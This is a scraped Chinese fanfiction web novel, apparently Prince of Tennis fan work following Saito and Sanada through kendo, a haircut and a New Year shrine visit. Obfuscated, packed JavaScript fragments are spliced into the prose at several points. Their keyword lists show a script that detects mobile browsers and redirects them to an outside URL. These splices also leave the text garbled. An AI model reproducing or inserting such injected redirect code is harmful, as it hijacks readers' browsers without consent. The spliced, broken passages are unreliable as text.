l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487283|202083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 斋藤小小地叹了一口气。 她知道真田现在是想道歉,他支支吾吾并不是因为不擅长主动道歉,而是他并不觉得自己有错。 这件事还是由斋藤开头比较好,毕竟她已经习惯在真田面前放低姿态。 “真田君。我喜欢剑道。你可以说我没有进取心,但是请不要说我会放弃剑道,我听到这句话真的……真的很难受。” 和真田一样,斋藤觉得自己也没有错,所以任何一方都不需要道歉。 只是有些事情直接挑明了是有必要的,斋藤不希望自己再因为同一件事和真田吵架。 真田也应该是这么想的。 “我知道了,我不会再说那种话了。”真田举起双手,做出投降的姿势,也可能是和几小时前失言的自己划清界限。 看到真田突然变得那么直接,不再扭捏,斋藤怀疑真田根本就没有反省。于是斋藤歪着头,伸出自己的小拇指,举在真田面前。 “那拉钩?” “没有这个必要。” 看到真田这副退却的模样,斋藤顺着气势继续说。 “那么你就没有违背约定就要吞千针的觉悟。” “我可没看到你吞千针。”真田怼着斋藤。 斋藤想起来,之前和真田约定一起上一个学校的时候,也有拉钩。 “你果然还在意我没跟你上一个学校的事情啊,对不起,真田君。” “我才不在意!” 意识到自己失态了的真田轻咳一声,转而主动地和斋藤说:“……你刚才忘记把作业忘记带回去,要继续写吗?”然后补充道,“有不会的题目尽管问我。” “那我就打扰了!”斋藤精神满满地回答。 斋藤看着被答案填补的空白,心满意足。 这多亏了真田意外地耐心指点,以及自己的理解力不差。 简单清洗,换上家居服的真田突然开口,“过几天全国大赛的决赛,你——” “抱歉!我已经答应前辈去应援了!”还未等真田说完,斋藤双手合十,对着真田低头道歉。 斋藤庆幸全中的个人赛和网球全国大赛的日子是同一天,否则内心残存的轻微内疚感与感激会让斋藤同意了真田的邀请。 那时候,自己的身体和内心都会在网球场上受到煎熬。 剑道场上,三个裁判举旗白旗,判定白方的打击有效。 “胜者!风岚中学!” 11月,关东地区国中新人赛上,斋藤不算费力地击败了对手,获得个人组的冠军。 当晚,斋藤就收到了真田发的“做得很好”。 在孤身一人的宿舍里,斋藤坐在书桌前低下头看手机,已经长至眼眉的刘海擦得额头发痒,她干脆抬起头,将头发拨到一边,给真田发送“谢谢”。 11. 剪头发 在真田家,斋藤和真田老师围坐在被炉的旁边,正坐在坐垫上。 被炉的矮桌放着日式陶制茶具和斋藤从山田家购买的伴手礼盒,里面都是传统的和果子,没有山田家原创的奇怪点心。 虽然真田老师并没有直接教导斋藤,但是斋藤的剑道上的一路成长少不了真田老师的帮助,所以年末都会上门感谢真田老师一年的关照。 国小时期都是斋藤的父母带着斋藤,上了国中后,斋藤就决定自己独自登门拜访。 结束了剑道方面的交流,真田老师调侃着,现在的斋藤就像是变了一个人。 斋藤讪笑着,轻捻着发尾。鬓发落下掩住耳朵,脸颊轮廓因此柔和了不少。刘海垂至眉上,遮住了原本清晰的眉峰,让她的眼神变得温柔。 斋藤简单地说没时间剪头发,但这件事追根究底的话,会变得复杂到一句话说不清楚。 暑假期间,小宫好像以毕业前辈的身份去剑道部,对着所有部员进行了“突击式的魔鬼训练”。 虽然不知道训练内容是什么,但是一些本来对斋藤还算是友善的同年级部员,在暑假之后也对她敬而远之了。 远藤准备升学而停止部活,剑道部再也没有人会主动挑战斋藤了。 斋藤完全不在意,自己的表现毫无敌意,并且对剑道部的全员给与了足够的尊重。她安慰自己他们只是没有挑战自己的自信,和孤立完全无关。 他们没有主动与斋藤约战,斋藤也不会主动约他们比试。 平日里教练会给斋藤指派对手,但是周末就没办法了,她就在校外找了适合的道场,周末去那里练习。 就这样,她经常踩点回到宿舍,有几次甚至是赶不上回宿舍,只能让母亲给舍监联系,然后住在母亲在东京的居所。 她根本没有余裕的时间去剪头发。 不过不仅是发型,斋藤的衣服风格和国小时期完全不一样了, 白衬衫外搭一件淡灰色V领羊毛背心,下身是石墨色微宽的直筒长裤,因正坐时的拉扯而显露出织物精致的纹理。她自带的稳重与自信,削去了这身轻便装束可能带来的慵懒感。 斋藤的母亲擅自把斋藤衣柜的衣服替换了成了现在这身风格类似的成衣。这是斋藤母亲的喜好,只要不是轻飘飘的裙装,斋藤不会排斥。 “祖父大人,有客人?” 虽然是处在少年变声期的沙哑声音,斋藤一听就知道说话的是真田。 “真田君,你好。” 斋藤起身转向真田打招呼。 长高了。 这是真田给斋藤的第一印象。 结实的肩膀撑起落肩毛衣,四肢的线条也按着适合比例拉长,这让健壮的身体并不会显得笨重。是那种还没完全脱去少年感,刚刚长开的身形。像是根深土中的树,谁也不知道他什么时候开始,已经悄悄地长高了。 斋藤尝试着用室内家具做参照,估计真田现在的身高,但是失败了,她能确认的是,真田要比自己高出很多。 不过剑道本不是单纯地靠身体优势去获得胜利,所以斋藤对此并不在意。 “什么啊,原来是斋藤君。” 看到熟悉的面孔,真田不再紧绷,来到真田老师的身边,自然放松地盘坐在垫子上。 斋藤感觉到真田在用锐利地眼神盯着自己,让她放在膝盖上的双手不禁紧握。 “……怎么了?”斋藤慎重地询问。 “你不是一直很在意这个吗?以前头发一长一点就跑去理发店了。”真田指着自己的头发说。 斋藤这才发现,真田的发型和之前似乎有些区别,大概是刘海和鬓角没有刻意修剪地很整齐。 “因为我暑假之后还去校外的道场练,时间排得比较紧。” 这回答不算说谎。 “你还真是努力,明年的全中看来是势在必得了。” 真田似乎是夸奖着斋藤,斋藤刚想道谢,真田却话锋一转。 “不过还是以前的发型比较适合你。” 斋藤确实也觉得那时的发型比较适合自己,但她不打算就这个话题和真田深入讨论。 一旁的真田老师突然插话:“弦一郎,你什么时候开始关心女生发型了?” “我是担心她把心思放在外貌上,影响剑道。”真田不动声色地回道。 斋藤略显遗憾地开口解释:“……我其实也想早点剪,但已经预约不上了。 “剪那种发型也要预约?” “无论什么剪什么发型都需要去预约吧。” “斋藤君,这世界上可是有可以不需要预约就能理发的理发店。”真田突然摆出长辈的架势。 “多谢指教……” 这样的常识斋藤还是知道的,只是习惯真的很难改。 “所以你能接受顶着这样的发型过年?” “只要稍微整理就好。” 真田从鼻子里发出一声意味不明的哼声,拉长的音节表明了他似乎表明他心里埋着不吐不快的想法。 “请问真田君还有什么指教?”斋藤给真田提供了这个机会。 “你以前不是说,头发一长就不好戴头巾吗?”真田像是不经意地说,“现在倒是挺敢挑战的。” “我已经稍微习惯一点了。” “弦一郎你果然很在意斋藤君的发型啊。”一旁的真田老师又来插话: “我才不在乎!”真田立刻回嘴,声音大了一些。 “志罗,理发预约上了吗?” 晚餐的餐桌上,品尝着宫摩千制作的料理的斋藤父亲突然问斋藤。 “……为什么突然说这个?” 斋藤有种不详的预感,因为她知道自己的父亲不喜欢自己之前的超短发发型,此时居然主动提起剪头发的事情,一定是别有用心。 “因为志罗喜欢超短发,所以新年之前一定会剪头发的。” “剪头发的人太多了,根本就预约不上……”斋藤如实说。 “那太好了,明天我们出去买振袖和服吧!” “什么?”斋藤手中的筷子滑落在桌上。 “难得你头发留这么长!正月穿振袖,戴着头饰的志罗一定会超可爱的~” 看着自己父亲亮晶晶的眼眸,斋藤突然想起自己父亲对自己穿着振袖和服一起去初诣有非常深的执念。 在斋藤年幼的时候,父亲就会把斋藤当作女儿节人偶,不停地让斋藤摆出各种姿势拍照,之后她用超短发和振袖和服不搭的理由来躲避,父亲甚至打算给斋藤买假发,被母亲阻止才罢手。 “我搞错了!” 做戏做全套,斋藤佯装看手机的预约信息。 “对,我已经预约上了。我明天要剪头。” 这句话宛如是按下去的暂停键,斋藤的父亲定格在餐桌前,失去了刚才的神采。 斋藤没有理会父亲的失落,迅速吃完饭回到房间,立刻和真田发送信息。 【请介绍我不用预约的理发店。】 【我明天就去。】 第二天上午,斋藤站在旋转的三色灯箱前,开始认真地考虑这么小的门面怎么能塞进一个理发店。 真田也站在旁边,虽然斋藤和真田说只要给地址就好,但是由真田亲自带到店门口。 斋藤问真田为什么不去网球部那边呢,真田回答是下午才会有训练。 斋藤透过玻璃窗,看着里面坐着等候的人影,就当是真田说的“上午理发的人比较少”是实话。 “店里剪头发的人很多,老板没时间哄你慢慢挑发型,更没有什么体贴服务。”真田叮嘱道。 “你怎么这么清楚?”斋藤有些困惑,她觉得真田是不会去那种浮华,没有效率的理容院的类型。 “你母亲以前带我妈去过,说是个像宫殿一样的地方。我妈回来时在饭桌上讲了半天。” 听到真田的形容,斋藤不禁开始仔细对比起理容院和眼前这家理发店的区别,降低自己的期待。 “别僵在门口,里面可没有虫——” 真田连忙收声。 听到了禁忌词语的斋藤铁青着脸,双眼失焦。 斋藤害怕虫子,怕到她小学的时候,宁可放弃生物课成绩,也绝不碰一只虫子。 “真是的……” 真田抓着脑袋,然后主动拉开店门,将堵在门口的斋藤推进店内。 店内的暖气融化了斋藤表情的僵硬。 整个店铺的面积可能还没有理容院的大厅前台那么大,但是恰当的布局不会让人感觉到狭小。室内光线充足,木头天然暖色作为主色调的空间让斋藤紧绷的心不禁放松下来。 店里只有一个年长的男士在剪头发,看派头和气势他应该是这家店的店主。 靠墙一排座位坐着数名男客人,大多是穿着常服的中年男子。 另一侧的位置上,一个中年女性正安静地烫发,膝上摊着杂志。她是这间店里唯一的女性顾客。还有个年轻人,似乎是专门负责清扫和为女士烫发。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487284|202083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你就坐在这边排队。” 真田指着座椅让斋藤坐下,然后就向门口走去。 “等、等一下,你这就回去了?” 身体和嘴巴比大脑先行一步,斋藤也没想到她会这么急迫地阻止真田离开。 “……我出去跑步,你剪完了我就过来。” 也是。斋藤想,真田他完全没有理由花自己的时间陪她剪头发。 “那待会见。” 斋藤目送着真田的背影,待真田的身影离开视野,她开始紧盯着店主和其他客人,在心中预演一遍剪头发的过程。 理容院里的理发师都是俊男靓女,打扮得光鲜时尚。动作轻柔、手法细致,还会时不时为客人拂去肩上的碎发,轻声询问有没有别的需要。 而眼前这个年长的理发师,全神贯注地剪头发,完全不在乎客人的当下的状态。 洗发时也一样。店主推来一个移动洗发槽,熟练地卡在理发椅后方。他没多说什么,他就一手拉下椅背,椅背就猛地往后一倒。看到这副场景的斋藤,跟着座椅上的顾客随着椅背晃动的身体,不自觉地抖了一下。 在店主熟捻地挥动剪刀,客人一个一个从椅子上走出店外,很快就轮到了斋藤。斋藤左右张望来到理发前,椅子虽然干净,却也看得出年头,靠背已经磨得发雾,坐垫一坐就塌下去。 “确定要剪那么短,小姑娘?” 听到斋藤的要求,理发店老板抬起眉毛,从镜子看了一眼斋藤的脸,见斋藤点头,便摇了摇头,熟练地展开围布,斋藤将眼睛垂下去,望着脚边地板上那几缕还未被扫走的碎发。 这点倒是比理容院轻松些。理容院的发型设计师总爱和她讨论“换个风格怎么样?” “好了。” 店主清理掉斋藤身上的碎发,扯下她身上的围布。 与理容院相比,这次剪发几乎是一眨眼的工夫就结束了。 或许是因为事前做足了心理准备,整个过程并没有想象中的不适。 尤其是洗头时,老板的手法虽然看上去粗鲁,却意外准确地按在了头皮上最能放松的部位。 虽然头发比平时剪得要短一点,对斋藤而言,多剪短一点就离振袖和服的距离更远一点。 斋藤从理发椅上起身,与刚刚回到理发店的真田一起用郑重地语气和店主道别。 “再见,弦一郎,要好好照顾你妹妹。” 当店主说出“妹妹”这个词,真田的脸扭曲了。真田就保持着这表情和斋藤踏上了回家的路。 斋藤不太理解,只是她和真田被别人误会成了兄妹,不需要表现得这么夸张。 “……我和真田君要是真是兄弟就好了。” 真田听到这话,表情稍微恢复了正常。 “这样就能获得祖父大人的指导了?” “答对了。” “那么是兄妹也没关系。”真田正色道。“只是为了学习剑道,也不需要改变性别吧。” 看样子,真田并不是因为被人误会和斋藤是兄妹而纠结,那么刚才到底是为什么表现成有心事的样子,斋藤思考着。 “那样的话,我就要叫真田君‘哥哥大人’了……” “嗯……”真田发出一声低吟,认真地思考,但是斋藤看到真田的嘴角有些许翘起。 这样的真田让斋藤萌生出一种想法,难道真田刚才是在设想,假如自己真的是他的妹妹,叫他什么比较合适? 还真喜欢这种充满敬意的称呼。再次体会到真田对于敬语的执着,斋藤不禁汗颜。 只是叫哥哥的前提是“自己是真田的妹妹”,不是“真田是自己的哥哥”,斋藤觉得那样的自己绝对不会叫“哥哥大人”。 “不对,应该是‘哥哥’……?” “……恶心。”真田的眼角抽搐,脸色阴沉,向上的嘴角瞬间拉下来。 这也太极端了吧。 而且只是“哥哥”罢了,要是斋藤刚才叫的是“葛葛”的话,脸色会更难看吧。 当然斋藤知道自己是绝对不会那么叫的。 那,就试试那个词。 “‘大哥’?” 听到斋藤说出不太像女孩子会说的称呼,真田的表情突然绷紧了。像是察觉了什么。 “……你再怎么叫也没办法成为我的妹妹。” 然而斋藤误会了真田话语的含义。 “如果我是男生,叫你大哥你就会接受吧?” “你把我当不良了吗!” 12. 新年初诣 穿着大衣围着围巾的斋藤,形单影只,一脸疲惫走在回家的坂道上。 斋藤一家本来说好今早一起去神社参拜,结果新年早上母亲的一个电话让这个计划泡汤了。 斋藤的母亲最近在帮一个任性的有钱人设计别墅,结果这个人新年初梦爆发灵感,突然觉得“设计方案要再调整”,要求斋藤的母亲在自己忘记设计方案之前赶过去重新商讨设计图。 父亲也换上西服,扮作母亲的助手,护送并陪着母亲与雇主见面。 父亲出门前有问斋藤要不要一起去,但是斋藤以担心自己会干扰到父母工作为理由拒绝了。 然后斋藤就一个人去神社进行初诣了。 虽说可以找自己的朋友去一起去神社,不过山田和远藤是东京人,新年只能收到他们寄过来的明信片。 斋藤这才意识到自己在神奈川这块能够称为朋友的只有真田了。但是真田早就和网球部的人一起约着新年登高和初诣了。 以前明明在道场遇见过很多人…… 大概是因为不喜欢在道场里不喜欢讲话的原因。还是对峙时所有人都带着面具,自己只能通过眼神和腰部名牌才能认识人。 斋藤也不想把珍贵的愿望用在“请让我多交几个朋友”上。 她的愿望是,剑道水平更上一个台阶。 斋藤从口袋里掏出刚从神社里求到的神签,一脸无奈。 凶。 事业运与人际关系凶 其他都是小吉。 斋藤最在意的事业运。 “意外之敌扰乱计划,执意正面对抗恐难取胜。然则贵人在高处,抬头方见机缘。” 所以这个签指的是今年斋藤注定拿不到全中冠军?意外之敌是什么?赛场上突然杀出一个从来没见过的高手? 瞬间的慌乱让斋藤意识到,自己以前对胜负的不在乎,其实是源自对自身实力的信任。当超越经验与现实的存在否定胜利的可能时,她还是会动摇的。 先不管这所谓的贵人在哪,斋藤觉得自己能做的就是精进技术,来面对神签上所说的“意外之敌”。 “斋藤君!” “真田君,新年快乐。”斋藤知道身后的是真田,便转身平静地问候着。 “新年快乐!”真田眉头舒展,看上去心情很好。 “新年第一天你怎么一个人在街上走?” “爸爸妈妈在忙着工作,所以我就自己出来参拜。”斋藤笼统地说明,她不想和真田解释太多。 真田周身的愉悦气氛在斋藤的陈述中消失了。 “——这是你抽到的签吧,怎样,是大吉吗?”注意到斋藤手中的纸条,真田急切地转移话题。 斋藤把手中刚抽到的签给真田看。 “你把凶签带在身上?”真田难以置信地看着眼前这个不畏凶兆的人。 “暂时放在身上,我打算等人少一点再去绑。” 的确是这个理由,斋藤之前没有抽到过凶签,当她前往绑的绳子前,看见攒动的人群,决定过两天在来绑。 “哪有人会等一下再绑啊!” “斋藤君,你知道绑凶签是干什么的吗?”真田用手指捏着鼻梁,眉间的皱纹变得更深了。 “为了转运。” “那你为什么不绑?” “因为人太多了。” “你这样子不是把厄运揣在身上吗?” “运势不就是在我抽到这个签的时候就已经决定了吗?” 真田一时无法反驳。 “走吧。”真田的表情像是做了一个艰难的决定。 斋藤继续往家走,真田却扣住斋藤的肩膀。 “你往哪跑?” “回家。” “跟我回神社去绑签。” “为什么现在一定要去?” “你家里没有神龛,那么凶签就要留在神社!”真田用让人不容辩驳的语气强调着。 斋藤知道,一旦真田开始用这种语气说话,她说什么都不能改变真田的想法。 走了一小段路后,真田捂着嘴巴,打了个哈气。 “你这是什么表情?”真田擦着眼角的泪水,奇怪地看着瞪着眼睛,一脸惊讶的斋藤。 “……我从没看过你这样。” “没办法,昨天夜里和家里人一起去神社,清晨还和幸村他们去湘南平新年登高……” “回去吧。”斋藤停下脚步,挡在真田的面前,坚定地对真田说。 “真田君你回去休息吧。这个签我自己会处理好的。” “总之,你快回去休息!” 说完,就没有任何征兆地从真田面前的跑走。真田倒是显得轻松自在,他大步走着,稍稍提速,很快就追上了斋藤,并拦住斋藤的去路。 “你怎么可能跑得过我?”在他人面前展示自己超强的体能的真田显得十分得意。 “你为什么还能跑这么快?”斋藤气喘吁吁。 “只是睡眠不足,又不是筋疲力尽。” “但是去神社要坐电车,现在电车上的人应该很多……根本就没有座位……” “我还没去神社初诣。”真田插话,打断斋藤。 “但……” “昨晚和家里人一起去神社进行的是除夕诣。” “所以我不是专门为了陪你去神社。” 真田交叉双臂,将脸撇向一边,斋藤知道真田一定是在说谎,他一定已经和网球部的人登高后一起去了神社。 既然真田选择了撒谎,那就说明他是铁了心要和斋藤一起去神社,于是只是说了一句“好吧”就继续和真田一起上路。 当路过便利店时,斋藤让真田稍等一下,真田从便利店里的透明玻璃里看着斋藤在收银台前打开暖饮柜。 咖啡还是茶? 斋藤觉得真田是茶派,但是咖啡的提神功效会更好。 冬天自然要选乌龙茶,黑咖啡的包装罐十分简约,而加糖的拿铁咖啡的外包装显得非常花哨,但是没有调味的咖啡很难入口,至少斋藤是这么觉得的。 于是斋藤选择了一瓶乌龙茶和一罐彩虹色的调味咖啡,从便利店出来后,她将手里的饮料展示给真田。 “真田君你要喝哪一个?” 真田用手抓了抓脑袋,一边道谢一边拿起了乌龙茶。斋藤将拿铁放进外衣口袋里,走起路来口袋里那份重量总是碰到腿,有点碍事,但是作为暖手袋替代也不错的。 在拥挤的电车上,真田的疲惫更加地明显。 看着真田眼周的暗沉,微微向前倾身体随着电车摇晃,斋藤无法将关心说出口,她知道真田现在本可以待在自己温暖的家中睡回笼觉,但将无实际作用的关心的话语说出来,对无法缓解真田的疲劳,她的罪恶感就会加重。 因为下车的人太多,被人潮推动的真田踉跄一下,但是一直关注着真田的斋藤眼疾手快,悄悄调整自己身体的角度,用后背抵着真田。 为了不让真田多想,斋藤主动向真田道歉。而真田只是暧昧不明地“嗯”了一声。 出站后,口袋里的咖啡变凉了,也不再适合拿来暖手。斋藤扫了一眼车站角落的垃圾桶,想着还是现在解决掉比较省事。 “我很快就会喝完的。” “……你喝慢一点也没问题。”真田无奈地说。 斋藤走到垃圾桶前拉开拉坏,将嘴巴抵着水滴型的开口,然后仰起头“咕咚咕咚”。 这时一个小孩子从斋藤身边路过,兴奋地挥舞手中玩具,人型玩具头部正好戳到了斋藤的小腿。 意外的一击让斋藤口中的咖啡喷了出来,嘴边,身上都是咖啡的印渍。脸上的液体在冷空气中迅速变凉,贴在皮肤上,冰得她忍不住一颤。 孩子的父母见状连忙向斋藤道歉,并拿出纸巾给斋藤。斋藤没有为难这家人,于是父母一边拉着小孩继续道歉,一边后退着离开。 “喂,发生了什么事?”真田跑到斋藤的身边。 即便斋藤把嘴边擦干净了,真田看着斋藤胸前浅褐色的污渍,也能猜个八九不离十。 “我不是要你喝慢一点吗?” 斋藤刚想反驳“这跟喝慢点没关系”,但是转念一想,如果自己小口小口地喝,或许真的没有现在的样子糟糕。 斋藤点了点头。 “走吧。”真田像是领队挥动手臂,命令着斋藤。 斋藤哭丧着脸,走在真田的身后。 真田没再说什么,走在她前面两步,帮她挡住了迎面而来的视线。 到了神社,虽然斋藤打算只去绑签,但真田执意斋藤再重新过一遍参拜流程。甚至还特地跟斋藤强调,两手相拍时,左手一定要比右手高出一截。 走完流程后,他们来到绑签处,斋藤学着旁边的人的样子将签绑了上去。真田上前检查,然后帮着斋藤把签绑紧。 “要是被风吹跑了,就和你带着签没什么区别。” 离开神社前,真田指了指购买御守的柜台,理所当然地说:“去买御守吧。” 斋藤停下脚步,抬头看了他一眼,没反驳。今天发生了太多事,她似乎也有点相信,有些事情确实无法掌控。于是,她买下了一个御守。 斋藤看着御守,一边走着,一边默念着,“拜托了,只要顺利比赛就好”。 “真田君——” 斋藤抬起头,但是身边没有那张熟悉的脸。 斋藤跟真田走散了。 如果是过去,斋藤可能会和真田发个短信,说我们各自回家吧。不过,真田今天一路上疲惫的样子让斋藤有些担心。 斋藤准备打电话给真田。 “斋藤君!”人群里突然有声音在叫着自己。 “真田君?”斋藤回应着这声音。 真田循声来到斋藤面前。 “都这个年纪了,怎么还会跟人走散!” 真田一边喘着气一边数落她,肩膀还在起伏,那副样子不像责备,倒像是刚卸下某种紧绷的力气。 斋藤想,其实只要打电话问她在哪就好,根本没有必要搞得那么紧张。 明明他的状态已经够让她担心了……还要用这种笨拙地方法找人。 “我们——”真田刚开口想说什么,却在汹涌人潮的挤动下一个踉跄,没站稳,整个人朝她倒了过来。 就在这一瞬间,斋藤感受到真田近在咫尺的吐息。然而在感受到亲密接触而产生的脸红心跳之前,斋藤几乎没有任何思考地稳住下盘,将上半身向后仰,把两人的脸拉开距离,双手扶着真田的身体。 真田立刻站起身,顺手拉起斋藤的手,将斋藤拉到远离人潮的路边,没让她保持这个诡异的姿势太久。 “谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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吵吵闹闹间,斋藤已经把抽到凶签时的不安暂时抛在脑后了。 临近中午,斋藤与真田站在岔路口道别,大概是因为快要到家了,真田连打了好几个哈欠。 “那我回去了。” “真田君——” 真田转身,他毫无防备地惊讶表情,让斋藤的心紧揪了一下。因为之前真田摔到斋藤身上的时候,也是这副表情,她甚至回想起了,真田那过近的吐息。 “——今天真是辛苦你了。”斋藤为了不让真田看到自己脸红的模样,对着真田深深地鞠躬,低头时,还能闻到领口的咖啡气味。 斋藤起身,看到真田只是摆手,那手势更像是让斋藤赶紧回去的驱赶。 傍晚,母亲载着喝醉酒的父亲回到家,还带着从高级西餐厅打包盒。 “志罗,对不起,让你新年第一天就一个人待着。”母亲看着端着水杯走来的斋藤,带着罕见的歉意说道。 “没关系……对了,妈妈,真田君今天陪我去了神社。” 斋藤只是想让自己的母亲宽慰才说这话,却没料到脑海里竟自然浮现出自己扶着真田时的画面,脸一下烧了起来。 “我去拿湿毛巾。”斋藤匆匆说着,借口逃离现场。 在卫生间里,她一边搓着毛巾,一边用冷水降温,水声盖过了她刻意放缓的呼吸。直到脸上的热度褪去,她才重新走出来。 “我过几天亲自去跟真田夫妇道谢。” 帮助父亲起身喝水的母亲从斋藤手中接过毛巾。 斋藤一直以为母亲作为长辈是不喜欢对晚辈表达感谢,但是看到之前对迹部的恭敬模样,母亲并不是那种对长幼有序有执念的大人。 斋藤看着躺在沙发上,满脸通红,酒气熏天的父亲。 “爸爸居然喝醉了……” “他和那位麻烦先生聊得很开心,多亏他,麻烦先生比之前更容易沟通了。”母亲拿着湿毛巾擦着继续躺在沙发上休息的父亲的脸,一边叹气一边说。 母亲说早上接电话的时候那个麻烦的雇主还气势汹汹地,但跟父亲聊了一些共同兴趣的话题后,那人中午特地让餐厅送了外卖,留他们在家里吃饭喝酒。 “爸爸他做了什么?” 母亲摊开双手耸了耸肩。 “我在现场都没搞清楚究竟发生了什么。我去洗了个手,回头就看到他们两个人一直‘嗯嗯嗯嗯’互相点头,下一秒就默契地干杯了。” “你这家伙……真不赖……嗝——” 因为毛巾遮着眼睛,这让父亲嘴角的笑意衬得更明显了。 “今天中午应该吃的是年菜吧,来吃点蛋糕换换口味,听说他们家新年限定的栗子红豆瑞士卷超好吃。” 斋藤拿起装着蛋糕的盒子,蛋糕的包装盒没有开封的痕迹。 斋藤将蛋糕拿到厨房,拿出碟子和叉子,然后打开包装盒,取出一块块放到碟子上。将剩下的蛋糕放进冰箱里。然后端着托盘,来到客厅,发现客厅里只剩下躺在沙发上父亲。 斋藤陷进红棕色沙发中,一边观察着父亲的情况,一边端起盘子吃着蛋糕。蛋糕松软,奶香浓郁,栗子与红豆磨成的细腻豆沙在口中化开,甜得恰到好处。 斋藤觉得这蛋糕很好吃,想着要不然和父母一起去再买份,带给真田吃。 ……开学之前,母亲应该至少有一天,不工作吧? 13. 巧克力大福 “斋藤同学,你要打工吗?” 课间,山田将脸凑到整理笔记的斋藤的耳边悄悄地说。 “打工?”斋藤看着没有了平日活力的山田反问。“学校不是不许……” “嘘!”山田将手指抵在嘴边,又环顾了一下四周。 “没关系的,我会说只是你只是来我们家帮忙的。” 斋藤家里的经济状况让斋藤没有打工的必要,但山田是真的需要帮助,最近山田都没住在学校里,下课直接回家帮忙了。 “我知道了,我会去的。” 周末,斋藤从母亲东京的居所来到大型百货商场,她从未在营业时间以外进过里面,空荡荡的过道和没有背景音乐的空间让她仿佛来到了异世界。 今天是商场举办的和果子展览,山田说,二月前店里都忙得不可开交,没想到商场这边也开始搞活动,长辈们一边说“吃力”,一边还是硬着头皮参展了。 斋藤乘着员工电梯,来到专门举办展览的楼层,在各式的展位中找到了挂着“山田屋”标识的摊位。 她向山田和家人们简短地问好,山田把围裙和头巾递给她,又顺手接过她脱下的外套。 正准备放到一旁时,山田的视线落在外套领口,手停住了。 “斋藤同学,这件外套难道是——”山田的声音有些颤抖。 斋藤毫不犹豫地说出了那个外套的牌子。 山田愣了一下,不确定是对名牌的反应,还是对斋藤这反应的自然程度吃了一惊。 “怎么了?”斋藤扎着头巾。 “斋藤同学,你家……其实很有钱吧?” “应该吧。” 这不是谦虚,斋藤的确还见过更有钱的人。 “可我看你经常吃便利店,还总穿校服。” “便利店离学校近。学生穿校服,不是很正常吗?” “那你为什么还来打工啊?!” “因为感觉你最近太忙了,所以我就来帮忙了。” 山田顿了一下。她没有再说什么,只是说“那就麻烦你了”,接着,她就给斋藤安排工作。 山田给斋藤安排的工作是,给外包装贴贴纸。 斋藤说自己还可以做更多事情,山田说需要的时候一定叫你的。 斋藤坐在椅子上开始工作,她将贴纸贴在外包装指定的位置,没有一点歪斜,像是机器一般精准。 她不觉得这是什么特别的工作,只是像在拼图。把每一块东西放到它该在的位置上,仅此而已。 斋藤一边贴着,一边评价起山田家的和果子。 山田家有很多自创的奇怪和果子,之前的黑芝麻五家宝斋藤是见识过了,但是在这个展览上,斋藤见到了更奇怪的——季节限定的巧克力大福。 巧克力大福本身并不奇怪,奇怪的是,是山田屋对其进行的包装。 “告白大福”,看似普通纯白色的巧克力馅大福,但山田屋将可可粉用小型筛网模版精细地“喜欢”字样撒在表面中央。 写在雪上的情书——山田屋是这么宣传着的。 一盒有四个,所以就是喜欢X4,如果这真的是情书也太没诚意了。 最意味不明的是包装外面还贴了一句印刷体标语“山田家为你加油!” 告白这么私密的事情会需要别人加油吗? 虽然斋藤不明白为什么这种东西会受欢迎,但现实是,告白大福几乎脱销了。 两天的展览结束后,山田将两盒巧克力大福拿给斋藤,斋藤看了一下包装,是普通版的巧克力大福。 “是不是太多了……” “你可是帮了两天忙呢,一天一盒!” 看着两盒大福,斋藤灵光一闪。 “……山田,你们家是有邮寄服务吧?” 斋藤很开心。 不仅是今天在道场的对战成绩非常好看,在山田家帮忙的所“赚到”的大福,今天应该就寄到家里了。 斋藤提前给家里打了电话,特别叮嘱宫摩千,今天会有自己寄到家里的大福,把其中一盒送到真田家。 斋藤还记得去年暑假的时候真田用“什么也不会的大小姐”形容自己。她就用自己打工获得的大福证明自己并不是什么养尊处优的大小姐。 真田收到和果子绝对会吓一跳,得知来历后,说不定还会给自己“做得很好”。 正当斋藤做着美梦的时候,有人叫了她的名字,说她的手机响了。 “大小姐,请问您是要我把其中一盒大福送去真田家?” 小心谨慎的宫摩千和斋藤再次确认巧克力大福的“归宿”。 “对,就麻烦宫摩千你了。” “请问有什么需要我转述的吗?” “应该没有什么特别的……” 斋藤总不能让宫摩千代替她说“我才不是什么都不会的大小姐”。 “我说这是大小姐您的心意,您看怎么样?” “就这样。谢谢你这么细心,宫摩千。” 宫摩千回了一句“不敢当”后安静等着斋藤主动把电话挂断。 一直惦记着巧克力大福,让斋藤对甜食充满了渴望,斋藤决定中午去吃西餐。还未到午餐时间,斋藤电话又响起来了,道场的老师像是调侃又像是抱怨地说“你今天的电话真多”。 来电显示是真田。 连消息都不发就直接打电话,这不像是真田的作风,斋藤想,难到是和果子太好吃了? 斋藤开心地接起来电话,等着预想的剧情展开。 “斋藤,你是什么意思?” 迎接斋藤的是真田劈头盖脸地责问。 “……什么意思?”斋藤的语气带着不解与委屈。 “你们家家政夫送过来的巧克力大福!” “巧克力大福怎么了吗?”斋藤根据真田的反应,慎重地问。 虽然是推迟了几天才寄送,但是山田应该是寄的当天生产的大福,品质上应该不会有问题。 “别装傻了!” “斋藤,你——” “请问到底是怎么了?” 斋藤用手指敲击手机的背部。 “啊,因为是情人节快到了,我送的是巧克力大福,所以真田君你误会了?” “误会!你怎么能说那是误会?!” 看真田的态度,斋藤肯定他绝对是误会了。 “真田君,今天还不是情人节吧,你就不要想太多了,就当是普通的大福去享用。” “——你是在耍我吗!” 